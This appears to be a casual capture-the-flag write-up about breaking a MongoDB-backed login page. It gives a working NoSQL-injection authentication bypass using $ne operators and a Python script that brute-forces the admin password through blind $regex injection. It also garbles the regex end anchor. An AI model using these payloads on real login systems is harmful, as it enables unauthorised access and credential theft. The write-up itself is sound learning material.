First meet with NoSQL

What’s about the challenge?

One of my friend just gave me a challenge few days ago, it was a single login page and we need to find the flag.

I think the server is still up if you want to play it:

https://xeger.ctff.fun/

Start penetration, bro!

  1. Leak any information on the server
    I didn’t find file such as robots.txt or .git …
  2. Sure, stop testing by hands, go bruteforce with dirsearch
    resultofdirsearch
  3. I have tried to use burpsuite to interrupt the 301 /flags(go aways, damn youtube video
    However, there was still nothing in the page
  4. Open the conposer.json file
    {
     "require": {
         "mongodb/mongodb": "^1.3"
     }
    }
    

    Ummmmmm, ok. Goodbye!
    After that, my friend just told me when I see mongoDB, I should come up with its classic vulnerability: NoSQL injection.

What’s NoSQL?

I start to take research of NoSQL. It’s a new engine of database to add more flexibility and extension.
Something interesting I found in NoSQL Manual FAQ:

As a client program assembles a query in MongoDB, it builds a BSON object, not a string. 
Thus traditional SQL injection attacks are not a problem

Awesome! So our string of sql injection cannot work in code anymore in MongoDB.Manual
But, what’s nosql injection?
We have already know that expressions of SQL query are like following:

select * from table where column = value;

With the same meaning, expressions of nosql are like following:

// The list of regex
$gt: >
$lt: <
$gte: >=
$lte: <=
$ne: not equal
$in: in
$nin: not in
$not:
$or
// expression of query
db.table_name.find({"column_name":value});      // where column = value
db.table_name.find({"column":{$reg:value}});    // where column $reg value

In the last line, we have seen that $reg can become the key(because nosql get data in json format
Therefore, we can exploit with ?parameter[$reg]=value.
Now, we know the key concept of exploitation. Go back to challenge, eat my exploit!

Happy ending

first, I would like to login with following payload:

// post data
username[$ne]=\&password[$ne]=\
// both username and password are not null string

After I login into the page, I see the hint in the admin section:

The flag start with "insecurity-flag{", 14 alphanumeric letters and end with "}", also is the password of admin

Here comes a new skill which is similar to blind injection:

?parameter[$regex]=^abc
// The start letters of parameter is abc
?parameter[$regex]=$abc
// The end letters of parameter is abc

With the concept of blind injection, we can make sure each of our 14 letters in the end.
Here is my script:

#!/usr/bin/env python3
from string import digits, ascii_uppercase, ascii_lowercase
import requests

def brute():
    count = 0
    url = "https://xeger.ctff.fun?"
    wordlist = digits + ascii_uppercase + ascii_lowercase
    payload = '^insecurity-flag\{'
    while 1:
        for u in wordlist:
            post = {'username':'admin','password[$regex]':payload+u}
            response = requests.post(url,data=post)
            if response.url == 'https://xeger.ctff.fun/index.php?error=true':
                print("you fail")
            else:
                payload = payload + u
                print("you success with "+payload)
                count = count+1
                if count == 14:
                    print("Congrats with your payload: "+payload)
                    exit()
                continue


if __name__ == "__main__":
    brute()

I get the payload but I won’t tell you, bro. Enjoy it!

Reference

  1. MongoDB manual FAQ
  2. CTF practice